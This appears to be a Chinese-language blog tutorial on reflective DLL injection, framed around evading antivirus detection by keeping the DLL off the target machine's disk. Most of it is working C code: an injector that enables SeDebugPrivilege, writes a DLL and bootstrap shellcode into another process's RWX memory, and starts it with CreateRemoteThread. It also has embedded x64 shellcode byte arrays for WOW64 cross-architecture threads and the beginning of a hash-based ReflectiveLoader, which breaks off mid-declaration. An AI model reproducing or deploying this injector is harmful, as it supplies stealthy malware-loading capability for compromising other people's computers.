反射的概念
前几篇文章提到了远程线程注入、注册表注入、APC注入等注入方法,这些方法都有一个共同的问题,那么就是需要目标进程所在的计算机上存在对应的Dll文件,否则我们的注入程序调用LoadLibrary函数无法加载。即如果我们想跨计算机注入目标进程,就要将注入程序exe和动态库文件dll打包放到一个文件夹里并发送到目标计算机,但是一旦文件被接收,我们的dll文件就"落地"了,因此就会很容易被常规的杀毒软件检测并查杀。所以,我们有没有什么办法,能在避免Dll文件"落地"的情况下注入到目标计算机的进程中呢?
当然可以,这就是我们这篇文章要讲的反射注入。
反射注入,核心思想是将我们待注入的Dll文件以PE文件的格式读入到内存中,在获取目标进程的操作权后,通过Dll文件的导出函数ReflectiveLoader将Dll文件装载到目标进程的地址空间内(以内存对齐的方式),即实现PE文件的手动装载。这样的注入方式,避免了Dll文件在目标计算机中注册自己的存在,从而降低了被检测的风险。
反射注入过程
注入程序
①注入程序(当前进程)通过枚举进程信息,获得目标进程ID,并提升自身权限,打开目标进程,获得目标进程的操作权。
②使用OpenFile和ReadFile函数将我们的Dll文件以PE文件的形式读取到当前进程中,通过解析PE文件结构获得导出函数ReflectiveLoader的偏移地址。
③在目标进程的地址空间内申请内存,这篇内存主要分为三部分:第一部分保存我们的PE文件内容;第二部分为ShellCode,主要完成ReflectiveLoader函数参数的入栈、调用ReflectiveLoader的功能;第三部分做保留,用于用户保存自定义数据。
④调用CreateRemoteThread函数在目标进程中创建远程线程,线程函数地址为我们ShellCode的起始地址,启动ShellCode。
导出函数
①获得当前进程的PEB,找到Ldr成员,其中保存着进程中导入模块的链表,我们通过链表查找Kernel32模块,在模块中搜索LoadLibrary、GetProcAddress、VirtualAlloc等关键函数。
②解析PE文件结构,获得各个头的信息。
③通过Nt头中的成员SizeOfImage申请内存,用来将Dll文件以内存方式进行加载。
④通过选项头中的SizeOfHeaders获得头部大小,并将头部信息进行拷贝。
⑤解析区段表,将每个区段的信息进行拷贝,同时注意内存粒度对齐的问题。
⑥修正导入表,因为FirstThunk和OriginalFirstThunk在PE文件加载时都是指向保存函数名称的数组,而加载后FirstThunk需要指向真正的函数地址。所以我们需要对函数地址表进行修正。这里分为两种情况:
1°以函数名导入,直接使用步骤①中获得的GetProcAddress进行函数地址的获取并填入到FirstThunk。
2°以函数索引导入,需要查看函数对应的Dll导出表,根据索引在导出表中查询函数的真正地址。
⑦进行重定位,获得实际基址与ImageBase之间的差值,将需要重定位的函数进行重定位,重定位表的每一项是一个起始地址和若干个WORD类型的偏移地址,将Word类型的偏移地址与0x0FFF进行相与操作后并于起始地址进行组合,就是需要进行重定位的函数地址(具体参考PE文件的重定位等相关文章)。最后将函数地址与差值进行相加即可。
⑧调整Dll文件的入口点。
参考代码
注入程序
LPFN_ISWOW64PROCESS __IsWow64Process = NULL;
static BYTE __ExecutexX64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
static BYTE __FunctionX64[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
int _tmain()
{
HANDLE FileHandle = NULL;
ULONG FileDataLength = 0;
LPVOID FileData = NULL;
ULONG NumberOfBytesRead = 0;
HANDLE ProcessHandle = NULL;
HANDLE ThreadHandle = NULL;
DWORD ExitCode = 0;
//对当前进程进行提权
if (SeEnableSeDebugPrivilege(_T("SeDebugPrivilege"), TRUE) == FALSE)
{
return 0;
}
DWORD ProcessIdentify = 0;
_tprintf(_T("Input ProcessIdentify:\r\n"));
//输入进程ID
_tscanf_s(_T("%d"), &ProcessIdentify,sizeof(DWORD));
#ifdef _WIN64
TCHAR* DllFullPath = _T("ReflectiveLoader.dll");
#else
TCHAR* DllFullPath = _T("ReflectiveLoader.dll");
#endif
//将Dll文件读取到当前进程内存中
FileHandle = CreateFile(DllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (FileHandle == INVALID_HANDLE_VALUE)
{
_tprintf(_T("CreateFile() Error\r\n"));
goto Exit;
}
//获得文件大小
FileDataLength = GetFileSize(FileHandle, NULL);
if (FileDataLength == INVALID_FILE_SIZE || FileDataLength == 0)
{
_tprintf(_T("GetFileSize() Error\r\n"));
goto Exit;
}
//在堆中申请内存
FileData = HeapAlloc(GetProcessHeap(), 0, FileDataLength);
if (!FileData)
{
_tprintf(_T("HeapAlloc() Error\r\n"));
goto Exit;
}
//将Dll文件内容读取到堆中申请的内存中
if (ReadFile(FileHandle, FileData, FileDataLength, &NumberOfBytesRead, NULL) == FALSE)
{
_tprintf(_T("ReadFile() Error\r\n"));
goto Exit;
}
//打开目标进程
ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, ProcessIdentify);
if (!ProcessHandle)
{
_tprintf(_T("OpenProcess() Error\r\n"));
goto Exit;
}
ThreadHandle = SeLoadRemoteLibrary(ProcessHandle, FileData, FileDataLength, NULL,MY_FUNCTION_HASH,(LPVOID)_T("911"),_tcslen(_T("911"))+sizeof(TCHAR));
if (!ThreadHandle)
{
_tprintf(_T("SeLoadRemoteLibrary() Error\r\n"));
goto Exit;
}
WaitForSingleObject(ThreadHandle, INFINITE);
if (!GetExitCodeThread(ThreadHandle, &ExitCode))
_tprintf(_T("Input AnyKey To Exit\r\n"));
_gettchar();
Exit:
if (FileData)
{
HeapFree(GetProcessHeap(), 0, FileData);
}
if (FileHandle!=NULL)
{
CloseHandle(FileHandle);
FileHandle = NULL;
}
if (ProcessHandle)
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
}
return 0;
}
BOOL SeEnableSeDebugPrivilege(IN const TCHAR* PriviledgeName, BOOL IsEnable)
{
// 打开权限令牌
HANDLE ProcessHandle = GetCurrentProcess();
HANDLE TokenHandle = NULL;
TOKEN_PRIVILEGES TokenPrivileges = { 0 };
if (!OpenProcessToken(ProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
{
return FALSE;
}
LUID v1;
if (!LookupPrivilegeValue(NULL, PriviledgeName, &v1)) // 通过权限名称查找uID
{
CloseHandle(TokenHandle);
TokenHandle = NULL;
return FALSE;
}
TokenPrivileges.PrivilegeCount = 1; // 要提升的权限个数
TokenPrivileges.Privileges[0].Attributes = IsEnable == TRUE ? SE_PRIVILEGE_ENABLED : 0; // 动态数组,数组大小根据Count的数目
TokenPrivileges.Privileges[0].Luid = v1;
if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges,
sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
_tprintf(_T("%d\r\n"), GetLastError());
CloseHandle(TokenHandle);
TokenHandle = NULL;
return FALSE;
}
CloseHandle(TokenHandle);
TokenHandle = NULL;
return TRUE;
}
HANDLE WINAPI SeLoadRemoteLibrary(HANDLE ProcessHandle,LPVOID FileData,DWORD FileDataLength,
LPVOID ParameterData,DWORD FunctionHash,LPVOID UserData,DWORD UserDataLength)
{
HANDLE ThreadHandle = NULL;
DWORD ThreadIdentify = 0;
DWORD TargetArchitecture = X86;
DWORD DllArchitecture = UNKNOWN;
#if defined(_WIN64)
DWORD CurrentArchitecture = X64;
#elif defined (_WIN32)
DWORD CurrentArchitecture = X86;
#else
#endif
__try
{
do
{
if (!ProcessHandle || !FileData || !FileDataLength)
{
break;
}
// 获得当前进程的kernel32模块实例句柄
HMODULE ModuleBase = LoadLibrary(_T("kernel32.dll"));
if (!ModuleBase)
{
break;
}
//在kernel32模块中查找IsWow64Process的函数地址
__IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(ModuleBase, "IsWow64Process");
//释放动态库的实例句柄
FreeLibrary(ModuleBase);
if (__IsWow64Process) //如果函数查找成功
{
BOOL IsWow64;
if (!__IsWow64Process(ProcessHandle, &IsWow64)) //函数调用失败
{
break;
}
//返回值为TRUE
if (IsWow64)
{
TargetArchitecture = X86;
}
else
{
SYSTEM_INFO SystemInfo = { 0 };
GetNativeSystemInfo(&SystemInfo);
if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
{
TargetArchitecture = X64;
}
else if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
{
TargetArchitecture = X86;
}
else
{
break;
}
}
}
// 获得Dll文件的位数
//定位到Nt头
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // 0x10B 32位
{
DllArchitecture = X86;
}
else if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // 0x20B 64位
{
DllArchitecture = X64;
}
//Dll文件必须与目标进程位数相同
if (DllArchitecture != TargetArchitecture)
{
_tprintf(_T("Must Be Same Architecture\r\n"));
break;
}
//从当前Dll文件中获得导出函数ReflectiveLoader的地址
DWORD ReflectiveLoaderRaw = SeGetReflectiveLoaderRaw(FileData);
if (!ReflectiveLoaderRaw)
{
_tprintf(_T("Could Not Get ReflectiveLoader Raw\r\n"));
break;
}
//Dll文件大小+用户自定义数据大小+ShellCode
DWORD v7 = FileDataLength + UserDataLength + 64;
//在目标进程中申请内存
LPVOID v5 = VirtualAllocEx(ProcessHandle, NULL, v7, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!v5)
{
break;
}
//将Dll文件写入目标进程,基地址为v5
if (!WriteProcessMemory(ProcessHandle, v5, FileData, FileDataLength, NULL))
{
break;
}
//导出函数ReflectiveLoader的地址为基地址v5+函数的文件偏移地址
ULONG_PTR ReflectiveLoader = (ULONG_PTR)v5 + ReflectiveLoaderRaw; //目标进程中的ReflectiveLoader绝对地址
//越过Dll文件大小,写入用户自定义的数据,基地址为v10
ULONG_PTR v10 = (ULONG_PTR)v5 + FileDataLength;
if (!WriteProcessMemory(ProcessHandle, (LPVOID)v10, UserData, UserDataLength, NULL))
{
break;
}
//越过UserData,为写入ShellCode的内存,基地址为ShellCode
ULONG_PTR ShellCode = v10 + UserDataLength;
//将ReflectiveLoader的启动函数以汇编指令的方式写入到BYTE数组中
BYTE BootstrapData[64] = { 0 };
DWORD BootstrapDataLength = SeCreateBootstrap(
BootstrapData,
64,
TargetArchitecture,
(ULONG_PTR)ParameterData,
(ULONG_PTR)v5,
FunctionHash,
v10,
UserDataLength,
ReflectiveLoader);
if (BootstrapDataLength <= 0)
{
break;
}
//将保存汇编指令的数组写入到ShellCode内存中
if (!WriteProcessMemory(ProcessHandle, (LPVOID)ShellCode, BootstrapData, BootstrapDataLength, NULL))
{
break;
}
// 刷新cache,保证写入正常
FlushInstructionCache(ProcessHandle, v5, v7);
//创建远程线程,执行shellcode
if (CurrentArchitecture == X86 && TargetArchitecture == X64)
{
// 目标64 当前32
SeWow64CreateRemoteThread(ProcessHandle, (LPVOID)ShellCode, ParameterData, &ThreadHandle);
ResumeThread(ThreadHandle);
}
else {
//目标32 当前32
//目标64 当前64
//目标32 当前64
ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024,
(LPTHREAD_START_ROUTINE)ShellCode, ParameterData,
(DWORD)NULL, &ThreadIdentify);
}
} while (0);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
ThreadHandle = NULL;
}
return ThreadHandle;
}
DWORD SeGetReflectiveLoaderRaw(VOID* BufferData)
{
UINT_PTR v1 = 0;
PIMAGE_NT_HEADERS ImageNtHeaders = NULL;
ULONG_PTR ImageDataDirectory = 0;
ULONG_PTR ImageExportDirectory = NULL;
ULONG_PTR AddressOfNames = 0;
ULONG_PTR AddressOfFunctions = 0;
ULONG_PTR AddressOfNameOrdinals = 0;
DWORD NumberOfNames = 0;
//读到内存中的Dll文件基地址(文件粒度对齐)
v1 = (UINT_PTR)BufferData;
//定位到NT头
ImageNtHeaders = (PIMAGE_NT_HEADERS)(v1 + ((PIMAGE_DOS_HEADER)v1)->e_lfanew);
//判断Dll文件的位数
if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
{
//定位到32位的导出表
ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS32)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
{
//定位到64位的导出表
ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS64)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else
{
return 0;
}
///内存对齐转换为文件对齐,定位到导出表的文件内地址
ImageExportDirectory = v1 + RvaToRaw(((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress, v1);
// 获得函数名数组的文件偏移地址
AddressOfNames = v1 + RvaToRaw(((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames, v1);
// 获得函数地址数组的文件偏移地址
AddressOfFunctions = v1 + RvaToRaw(((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions, v1);
// 获得函数序号数组的文件偏移地址
AddressOfNameOrdinals = v1 + RvaToRaw(((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals, v1);
// 获得导出表的导出函数数量
NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->NumberOfNames;
// 从导出函数中查找我们写入的ReflectiveLoader函数
while (NumberOfNames--)
{
char * FunctionName = (char *)(v1 + RvaToRaw(DEREFERENCE_32(AddressOfNames), v1));
//查找到的函数是为ReflectiveLoader
if (strstr(FunctionName, "ReflectiveLoader") != NULL)
{
// 函数地址的起始地址
AddressOfFunctions = v1 + RvaToRaw(((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions, v1);
// 函数真正地址 = 函数起始地址 + 函数索引 * 4
AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));
// 返回函数的文件偏移地址
return RvaToRaw(DEREFERENCE_32(AddressOfFunctions), v1);
}
// 查看下一个函数
AddressOfNames += sizeof(DWORD);
// 查看下一个序号
AddressOfNameOrdinals += sizeof(WORD);
}
return 0;
}
DWORD RvaToRaw(DWORD Rva, UINT_PTR ImageBase)
{
WORD i = 0;
WORD NumberOfSections = 0;
PIMAGE_SECTION_HEADER ImageSectionHeader = NULL;
//定位到Nt头
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
{
//越过可选头定位到节表,获得节表头和节数
PIMAGE_NT_HEADERS32 ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)ImageNtHeaders;
ImageSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&ImageNtHeaders32->OptionalHeader) + ImageNtHeaders32->FileHeader.SizeOfOptionalHeader);
NumberOfSections = ImageNtHeaders32->FileHeader.NumberOfSections;
}
else if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
{
PIMAGE_NT_HEADERS64 ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)ImageNtHeaders;
ImageSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&ImageNtHeaders64->OptionalHeader) + ImageNtHeaders64->FileHeader.SizeOfOptionalHeader);
NumberOfSections = ImageNtHeaders64->FileHeader.NumberOfSections;
}
else
{
return 0;
}
if (Rva < ImageSectionHeader[0].PointerToRawData) //如果RVA属于头部信息,无需转换
{
return Rva;
}
for (i = 0; i < NumberOfSections; i++)//RVA 属于节表内
{
//查找RVA属于哪个节表,然后进行转换
if (Rva >= ImageSectionHeader[i].VirtualAddress && Rva < (ImageSectionHeader[i].VirtualAddress + ImageSectionHeader[i].SizeOfRawData))
{
return (Rva - ImageSectionHeader[i].VirtualAddress + ImageSectionHeader[i].PointerToRawData);
}
}
return 0;
}
DWORD SeCreateBootstrap(LPBYTE BootstrapData,DWORD BootstrapDataLength,DWORD TargetArchitecture,ULONG_PTR ParameterData,
ULONG_PTR BufferData,DWORD FunctionHashValue,ULONG_PTR UserData,DWORD UserDataLength,ULONG_PTR ReflectiveLoader)
{
DWORD i = 0;
if (BootstrapDataLength < 64)
{
return 0;
}
#if defined(_WIN64)
DWORD CurrentArchitecture = X64;
#elif defined(_WIN32)
DWORD CurrentArchitecture = X86;
#else
#endif
//目标是32位
if (TargetArchitecture == X86)
{
// push UserDataLength
BootstrapData[i++] = 0x68;
//将ReflectiveLoader的第5参数UserDataLength拷贝到push指令后
MoveMemory(BootstrapData + i, &UserDataLength, sizeof(DWORD));
//i偏移过参数
i += sizeof(DWORD);
// push UserData
BootstrapData[i++] = 0x68;
//将ReflectiveLoader的第4参数UserData拷贝到push指令后
MoveMemory(BootstrapData + i, &UserData, sizeof(DWORD));
//i偏移过参数
i += sizeof(DWORD);
// push FunctionHashValue
BootstrapData[i++] = 0x68;
//将ReflectiveLoader的第3参数FunctionHashValue拷贝到push指令后
MoveMemory(BootstrapData + i, &FunctionHashValue, sizeof(DWORD));
//i偏移过参数
i += sizeof(DWORD);
// push BufferData
BootstrapData[i++] = 0x68;
//将ReflectiveLoader的第2参数BufferData拷贝到push指令后
MoveMemory(BootstrapData + i, &BufferData, sizeof(DWORD));
//i偏移过参数
i += sizeof(DWORD);
// push ParameterData
BootstrapData[i++] = 0x68;
//将ReflectiveLoader的第1参数ParameterData拷贝到push指令后
MoveMemory(BootstrapData + i, &ParameterData, sizeof(DWORD));
//i偏移过参数
i += sizeof(DWORD);
// mov eax, &reflectiveloader
BootstrapData[i++] = 0xB8;
//将ReflectiveLoader函数的偏移地址拷贝到mov eax,后
MoveMemory(BootstrapData + i, &ReflectiveLoader, sizeof(DWORD));
i += sizeof(DWORD);
// call eax ,跳转到ReflectiveLoader函数
BootstrapData[i++] = 0xFF; // CALL
BootstrapData[i++] = 0xD0; // EAX
}
else if (TargetArchitecture == X64)
{
if (CurrentArchitecture == X86) {
// mov rcx, <lpParameter>
MoveMemory(BootstrapData + i, "\x48\xc7\xc1", 3);
i += 3;
MoveMemory(BootstrapData + i, &ParameterData, sizeof(ParameterData));
i += sizeof(ParameterData);
// mov rdx, <address of image base>
MoveMemory(BootstrapData + i, "\x48\xc7\xc2", 3);
i += 3;
MoveMemory(BootstrapData + i, &BufferData, sizeof(BufferData));
i += sizeof(BufferData);
// mov r8d, <hash of function>
MoveMemory(BootstrapData + i, "\x41\xb8", 2);
i += 2;
MoveMemory(BootstrapData + i, &FunctionHashValue, sizeof(FunctionHashValue));
i += sizeof(FunctionHashValue);
// mov r9, <address of userdata>
MoveMemory(BootstrapData + i, "\x49\xc7\xc1", 3);
i += 3;
MoveMemory(BootstrapData + i, &UserData, sizeof(UserData));
i += sizeof(UserData);
// push <size of userdata>
BootstrapData[i++] = 0x68; // PUSH (word/dword)
MoveMemory(BootstrapData + i, &UserDataLength, sizeof(UserDataLength));
i += sizeof(UserDataLength);
// sub rsp, 20
MoveMemory(BootstrapData + i, "\x48\x83\xec\x20", 4); //
i += 4;
// move rax, <address of reflective loader>
MoveMemory(BootstrapData + i, "\x48\xc7\xc0", 3);
i += 3;
MoveMemory(BootstrapData + i, &ReflectiveLoader, sizeof(ReflectiveLoader));
i += sizeof(ReflectiveLoader);
}
else {
// mov rcx, <lpParameter>
MoveMemory(BootstrapData + i, "\x48\xb9", 2);
i += 2;
MoveMemory(BootstrapData + i, &ParameterData, sizeof(ParameterData));
i += sizeof(ParameterData);
// mov rdx, <address of image base>
MoveMemory(BootstrapData + i, "\x48\xba", 2);
i += 2;
MoveMemory(BootstrapData + i, &BufferData, sizeof(BufferData));
i += sizeof(BufferData);
// mov r8d, <hash of function>
MoveMemory(BootstrapData + i, "\x41\xb8", 2);
i += 2;
MoveMemory(BootstrapData + i, &FunctionHashValue, sizeof(FunctionHashValue));
i += sizeof(FunctionHashValue);
// mov r9, <address of userdata>
MoveMemory(BootstrapData + i, "\x49\xb9", 2);
i += 2;
MoveMemory(BootstrapData + i, &UserData, sizeof(UserData));
i += sizeof(UserData);
// push <size of userdata>
BootstrapData[i++] = 0x68; // PUSH (word/dword)
MoveMemory(BootstrapData + i, &UserDataLength, sizeof(UserDataLength));
i += sizeof(UserDataLength);
// sub rsp, 20
MoveMemory(BootstrapData + i, "\x48\x83\xec\x20", 4);
i += 4;
// move rax, <address of reflective loader>
MoveMemory(BootstrapData + i, "\x48\xb8", 2);
i += 2;
MoveMemory(BootstrapData + i, &ReflectiveLoader, sizeof(ReflectiveLoader));
i += sizeof(ReflectiveLoader);
}
// call rax
BootstrapData[i++] = 0xFF; // CALL
BootstrapData[i++] = 0xD0; // RAX
}
return i;
}
DWORD SeWow64CreateRemoteThread(HANDLE ProcessHandle, LPVOID ThreadProcedure, LPVOID ParameterData, HANDLE * ThreadHandle)
{
DWORD IsOk = ERROR_SUCCESS;
LPFN_EXECUTEX64 ExecuteX64 = NULL;
LPFN_FUNCTIONX64 FunctionX64 = NULL;
WOW64CONTEXT* Wow64Context = NULL;
OSVERSIONINFO OsVersionInfo = { 0 };
do
{
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&OsVersionInfo))
{
_tprintf(_T("GetVersionEx() Error\r\n"));
break;
}
if (OsVersionInfo.dwMajorVersion == 5 && OsVersionInfo.dwMinorVersion == 2)
{
_tprintf(_T("Is 2003 Error\r\n"));
break;
}
ExecuteX64 = (LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!ExecuteX64)
{
_tprintf(_T("VirtualAlloc() Error\r\n"));
break;
}
FunctionX64 = (LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!FunctionX64)
{
_tprintf(_T("VirtualAlloc() Error\r\n"));
break;
}
memcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64));
memcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64));
Wow64Context = (WOW64CONTEXT *)((BYTE *)FunctionX64 + sizeof(__FunctionX64));
Wow64Context->u1.ProcessHandle = ProcessHandle; //目标进程句柄
Wow64Context->u2.ThreadProcedure = ThreadProcedure;
Wow64Context->u3.ParameterData = ParameterData;
Wow64Context->u4.ThreadHandle = NULL;
//执行该代码的环境是32位
if (!ExecuteX64(FunctionX64, (DWORD)Wow64Context))
{
_tprintf(_T("ExecuteX64() Error\r\n"));
break;
}
if (!Wow64Context->u4.ThreadHandle)
{
_tprintf(_T("ThreadHandle Is NULL\r\n"));
break;
}
// Success! grab the new thread handle from of the context
*ThreadHandle = Wow64Context->u4.ThreadHandle;
} while (0);
if (ExecuteX64)
{
VirtualFree(ExecuteX64, 0, MEM_RELEASE);
ExecuteX64 = NULL;
}
if (FunctionX64)
{
VirtualFree(FunctionX64, 0, MEM_RELEASE);
FunctionX64 = NULL;
}
return IsOk;
}
导出函数
#include <windows.h>
#include <Winternl.h>
#include <iostream>
#include <intrin.h>
using namespace std;
namespace REFLECTIVELOADER
{
typedef HMODULE(WINAPI *LPFN_LOADLIBRARYA) (_In_ LPCSTR);
typedef LPVOID(WINAPI *LPFN_GETPROCADDRESS) (HMODULE, LPCSTR);
typedef LPVOID(WINAPI *LPFN_VIRTUALALLOC) (LPVOID, SIZE_T, DWORD, DWORD);
typedef VOID(WINAPI *LPFN_EXITTHREAD) (DWORD);
typedef NTSTATUS(NTAPI *LPFN_NTFLUSHINSTRUCTIONCACHE) (HANDLE, PVOID, ULONG);
typedef BOOL (WINAPI * LPFN_DLLMAIN)( HINSTANCE, DWORD, LPVOID );
typedef BOOL (*LPFN_MYFUNCTION)( LPVOID, DWORD );
}
#define DEREFERENCE(Value) *(UINT_PTR *)(Value)
#define DEREFERENCE_64(Value) *(DWORD64 *)(Value)
#define DEREFERENCE_32(Value) *(DWORD *)(Value)
#define DEREFERENCE_16(Value) *(WORD *)(Value)
#define DEREFERENCE_8 (Value) *(BYTE *)(Value)
#define KERNEL32_MODULE_HASH 0x6A4ABC5B
#define NTDLL_MODULE_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define EXITTHREAD_HSAH 0x60E0CEEF
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define RTLEXITUSERTHREAD_HASH 0xFF7F061A
typedef struct
{
WORD Offset : 12;
WORD Type : 4;
}IMAGE_BASE_RELOCATION_ITEM, *PIMAGE_BASE_RELOCATION_ITEM;
#define HASH_KEY 13
#pragma intrinsic( _rotr )
__forceinline DWORD ror(DWORD Value)
{
return _rotr(Value, HASH_KEY); //将Value转换为二进制后向右循环移动13位
}
__forceinline DWORD MakeHashValue(char * StringData)
{
register DWORD HashValue = 0;
do
{
HashValue = ror(HashValue);
HashValue += *StringData;
} while (*++StringData);
return HashValue;
}
__declspec( dllexport )
VOID WINAPI ReflectiveLoader(LPVOID ParameterData, ULONG_PTR BufferData, DWORD FunctionHashValue, LPVOID UserData, DWORD UserDataLength)
{
PPEB Peb = NULL;
ULONG_PTR Ldr = 0;
PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = NULL;
ULONG_PTR ModuleName = 0;
USHORT ModuleNameLength;
ULONG_PTR ModuleHashValue;
ULONG_PTR ImageNtHeaders = NULL;
ULONG_PTR ImageDataDirectory = 0;
ULONG_PTR ImageImportDescriptor = NULL;
ULONG_PTR ImageExportDirectory = NULL;
ULONG_PTR AddressOfNames = 0;
ULONG_PTR AddressOfFunctions = 0;
ULONG_PTR AddressOfNameOrdinals = 0;
DWORD NumberOfNames = 0;
DWORD HashValue = 0;
DWORD IsLoop = 0;
ULONG_PTR VirtualAddress = 0;
DWORD SizeOfHeaders = 0;
BYTE* v1 = NULL;
BYTE* v2 = NULL;
WORD NumberOfSections = 0;
ULONG_PTR SectionVirtualAddress = 0;
ULONG_PTR SectionPointerToRawData = 0;
DWORD SizeOfRawData = 0;
ULONG_PTR ModuleBase = 0; //导入模块的基地址
ULONG_PTR OriginalFirstThunk = 0;
ULONG_PTR FirstThunk = 0;
ULONG_PTR ImageImportByName = 0;
ULONG_PTR Diff = 0;
ULONG_PTR v3 = 0;
ULONG_PTR ImageBaseRelocation = NULL;
ULONG_PTR ImageBaseRelocationItem = 0;
ULONG_PTR ImageBaseRelocationItemCount = 0;
ULONG_PTR AddressOfEntryPoint = 0;
BOOL IsOk = FALSE;
DWORD ExitCode = 1;
REFLECTIVELOADER::LPFN_LOADLIBRARYA LoadLibraryA = NULL;
REFLECTIVELOADER::LPFN_GETPROCADDRESS GetProcAddress = NULL;
